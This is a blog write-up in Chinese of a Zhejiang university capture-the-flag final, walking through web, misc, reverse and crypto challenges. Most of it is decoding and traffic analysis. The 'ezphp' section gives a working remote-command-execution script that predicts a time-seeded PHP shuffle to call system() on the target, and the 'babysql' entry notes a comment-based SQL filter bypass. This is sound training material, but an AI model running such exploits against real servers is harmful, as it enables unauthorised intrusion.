第五届浙江省大学生网络与信息安全竞赛决赛-WP

Web

ezphp

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);
mt_srand(time());
$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);
$a[$_GET['b']]($a[$_GET['c']]);

因为shuffle函数使用伪随机数产生器,所以当时间戳相同时,两个相同数组打乱后产生的两个新数组也相同

在本地编写php代码,获取索引值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
mt_srand($_GET['a']);

$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);

for ($i=0;$i<=10003;$i++){
if ($a[$i] == 'system'){
print_r('system:'.$i."\n");
}
if ($a[$i] == $_GET['cmd']){
print_r('cmd:'.$i."\n");
}
}

将本地获取到的索引值传入靶机,成功rce

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import time
import re
while True:
cmd=raw_input(">>").replace(" ",'%20');
t=int(time.time())
d=requests.get('http://172.29.17.232/index.php?a=%s&cmd=%s'%(int(t),cmd)).text

system=int(re.findall('system:(\d+)',d)[0])
c=int(re.findall('cmd:(\d+)',d)[0])

d=requests.get('http://80.endpoint-d9deec0835844de5831e550ffe384d16.dasc.buuoj.cn:81/?cmd=%s&c=%s&b=%s'%(cmd,c,system))
print(d.text.split('</code>')[1])

babysql

过滤了空格,用/**/代替

misc

checkin_gift

两张图片中间拿到Gift from glzjin: FIWOIxqEZyIWJwIHG01ZDxqMZ1EUGycHGHHlERqnDyAUDyERHH9PI0qOZ0EWGIcEGIxlESSAGREAHGWUF05RAD== Have a nice time, Bye!

先凯撒位移13位

SVJBVkdRMlVJWjVUT01MQkdZM1RHTlpUTUUyREdaQlNHQlREUU9CV0dBM0RJTVpRTVkyRFFNTERNUTJHS05ENQ==

base64

IRAVGQ2UIZ5TOMLBGY3TGNZTME2DGZBSGBTDQOBWGA3DIMZQMY2DQMLDMQ2GKND5

base32

DASCTF{71a67373a43d20f88606430f481cd4e4}

m4a

在文件结尾发现一个被反转的压缩包,提取出来一个带密码的压缩包

添加后缀mp4发现存在摩斯

-... .- ....- ...-- -... -.-. . ..-. -.-. ..--- ----- ....-

得到压缩包密码BA43BCEFC204

解压得到
(+w)v&LdG_FhgKhdFfhgahJfKcgcKdc_eeIJ_gFN

rot47

WZHXGU{5v0u98z95u79829y7z484z54066xy08u}

atbash

dasctf{5e0f98a95f79829b7a484a54066cb08f}

Unkn0wnData

赛后复现

附件结尾存在一串base64字符串

V2hlcmUxc0tleT8KCu2gve25g+2gve2yte2gvO28v+2gvO2+pO2gve26qu2gvO28j+2gve2wju2gvu21i+2gve26q+2gve24huKche2gvO29je2gvO2+pO2gve2wmO2gvO28j+KEueKMqO2gve24je2gvO2+iOKcie2gvu20o+2gve27qe2gvO29jO2gve26qu2gvO29tOKEueKYuu2gve26ueKdk+2gvO29tO2gve20rO2gvO28qu2gvO29te2gve2xo+2gve20hOKYg+2gve2xjO2gve24ju2gve2xjO2gve20hO2gve2xjO2gve20qu2gvO29jO2gve2xge2gvO29je2gvO29jO2gvO28j+2gvO2+g+2gve26sO2gvO29te2gve2wje2gvO2+heKche2gvO29je2gvu22k+2gve24ju2gve24iu2gvu20o+2gvO2/ue2gvO29je2gve2yp+2gve20hO2gve20hO2gvu20o+2gve2xge2gvu21i+2gve26q+KYuu2gvO29tO2gve24ge2gve26q+2gve24h+2gve26sOKPqe2gve24je2gvO28v+2gve2yte2gvu22k+2gve24h+2gve27qeKclu2gve21ue2gve2wju2gve2zgu2gve2zgu2gve2yp+2gve23ku2gve23kg==

解密后用UTF-8编码显示

stegsolve分析图片,0通道中发现一个压缩包

解压得到key.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
data:
0000100000000000
00000c0000000000
00000e0000000000
00002a0000000000
0000100000000000
0000040000000000
0000080000000000
00002a0000000000
0000160000000000
00000b0000000000
00000c0000000000
00001c0000000000
00002a0000000000
00002c0000000000
0200340000000000
00002a0000000000
0200090000000000
00000c0000000000
0000110000000000
0000070000000000
0200170000000000
00002a0000000000
0200170000000000
00000b0000000000
0000080000000000
0000120000000000
00002a0000000000
0200150000000000
0000080000000000
0000040000000000
00000f0000000000
00000a0000000000
00002a0000000000
02000e0000000000
0000080000000000
00001c0000000000
00000a0000000000
00002a0000000000
0000040000000000
0000110000000000
0000070000000000
00000f0000000000
00002a0000000000
0200100000000000
0000040000000000
00000e0000000000
0000080000000000
0000080000000000
00002a0000000000
02000c0000000000
0000170000000000
02001e0000000000
0000070000000000
00002a0000000000

明显的USB键盘流量

使用脚本提取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python

import sys
import os

DataFileName = "usb.dat"

presses = []

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

def main():
# read data
with open('key.txt', "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
if press == '':
continue
if ':' in press:
Bytes = press.split(":")
else:
Bytes = [press[i:i+2] for i in range(0, len(press), 2)]
if Bytes[0] == "00":
if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
result += normalKeys[Bytes[2]]
elif int(Bytes[0],16) & 0b10 or int(Bytes[0],16) & 0b100000: # shift key is pressed.
if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
result += shiftKeys[Bytes[2]]
else:
print("[-] Unknow Key : %s" % (Bytes[0]))
print("[+] Found : %s" % (result))


if __name__ == "__main__":
main()

得到mik<DEL>mae<DEL>shiy<DEL><SPACE>:<DEL>FindT<DEL>Theo<DEL>Realg<DEL>Keyg<DEL>andl<DEL>Makee<DEL>It!d<DEL>

去掉删除的字符应该是mimashi FindTheRealKeyandMakeIt!,但是这句话的意思让我们找到真正的key,所以这个应该是假的key

仔细观察删掉的字符,发现正好是key开头,提取出来得到key:Toggled

emoji-aes解密得到flag

hard_Digital_plate

赛后复现

foremost可以分离出一张图片,根据名字猜测是oursecret隐写

流量分析,发现是数位板流量

tshark提取
tshark -r hard_Digital_plate.pcapng -T fields -e usbhid.data | sed '/^\s*$/d' > out.txt

python提取坐标

1
2
3
4
5
6
7
8
9
10
11
nums = []
keys = open('out.txt', 'r')
result = open('result.txt', 'w')
for line in keys:
if int(line[12:16], 16) == 0:
continue
x = int(line[4:6], 16) + int(line[6:8], 16) * 0xff
y = int(line[8:10], 16) + int(line[10:12], 16) * 0xff
result.write(str(x)+' '+str(-y)+'\n')
keys.close()
result.close()

gnuplot画图

得到oursecret密码kfae5y4wi2shwj81y2kda6ax7x

解一下oursecret,拿到U2FsdGVkX18jQgWzhln3pPiVK8gaBxIzhY1JWcFlKiRdBkV/jDmEBxJV9PZmwBJ7MU3IdNf4hWryZLYRLuxA4w==

图片备注中看到糟糕,好像有几个字写的太轻了,看不清楚

提取低压感数据,以0xf000作为压感临界值

1
2
3
4
5
6
7
8
9
10
11
12
nums = []
keys = open('out.txt', 'r')
result = open('result.txt', 'w')
for line in keys:
if int(line[12:16], 16) == 0:
continue
x = int(line[4:6], 16) + int(line[6:8], 16) * 0xff
y = int(line[8:10], 16) + int(line[10:12], 16) * 0xff
if int(line[12:16], 16) < 0xf000:
result.write(str(x)+' '+str(-y)+'\n')
keys.close()
result.close()

gnuplot画图

得到keyw12kax

aes解密

reverse

ezandroid

先安装apk,随意输入一个值,返回error!

jadx中搜索关键字,得到判断代码

1
2
3
List<Integer> ccompare = new ArrayList(Arrays.asList(this.compare));
Integer[] compare = {404, 220, 436, 368, 220, 436, 412, 452, 432, IntegvalueOf((int) ItemTouchHelper.Callback.DEFAULT_DRAG_ANIMATION_DURATION412};
String mname = "ccadwjlyah";
1
2
3
4
5
6
7
8
9
10
public void onClick(View v) {
String user = MainActivity.this.name.getText().toString().trim();
List<Integer> ppwd = MainActivity.change(MainActivity.this.pass.getT().toString().trim());
if (!user.equals(this.mname) || !ppwd.equals(this.ccompare)) {
Toast.makeText(MainActivity.this, "error!", 0).show();
return;
}
Toast.makeText(MainActivity.this, "correct!", 0).show();
MainActivity.this.startActivity(new Intent(MainActivity.this, afterlclass));
}

加密函数

1
2
3
4
5
6
7
8
public static List<Integer> change(String args) {
char[] ch;
List<Integer> list = new ArrayList<>();
for (char c : args.toCharArray()) {
list.add(Integer.valueOf((c ^ 3) << 2));
}
return list;
}

用户名明文存储,是ccadwjlyah

程序会对输入后的密码加密然后与程序中的compare变量比较

获取compare数组的值,其中有一个成员存储在变量中

解密脚本

1
2
3
4
5
a=[404, 220, 436, 368, 220, 436, 412, 452, 432, 200, 412]
e=''
for i in a:
e+=chr((i>>2)^3)
print(e)

得到密码f4n_4ndro1d

赛后发现的一个非预期:因为最后flag是存储在图片中的,所以直接把apk当压缩包解压,去找图片也能看到flag

crypto

math

因为加密代码(str.index(i)*key+7)%37中取余了37,所以key的值可以认为在0~37的范围内

直接爆破

1
2
3
4
5
6
7
8
9
10
a='u66hp7nuh01puoaip10pi6o0vzavnu11'
s='abcdefghijklmnopqrstuvwxyz0123456789+='
for i in range(37):
e=''
for n in range(len(a)):
for j in range(len(s)):
if s[((j*i)+7)%37]==a[n]:
e=e+s[j]
break
print(e)

爆破出37串字符串,只有一串字符串满足flag格式,即32位十六进制字符串

flag: 799a03b7a82076f5028059681df1b722


第五届浙江省大学生网络与信息安全竞赛决赛-WP
https://www.dr0n.top/posts/780baaa1/
作者
dr0n
发布于
2022年9月24日
更新于
2024年3月22日
许可协议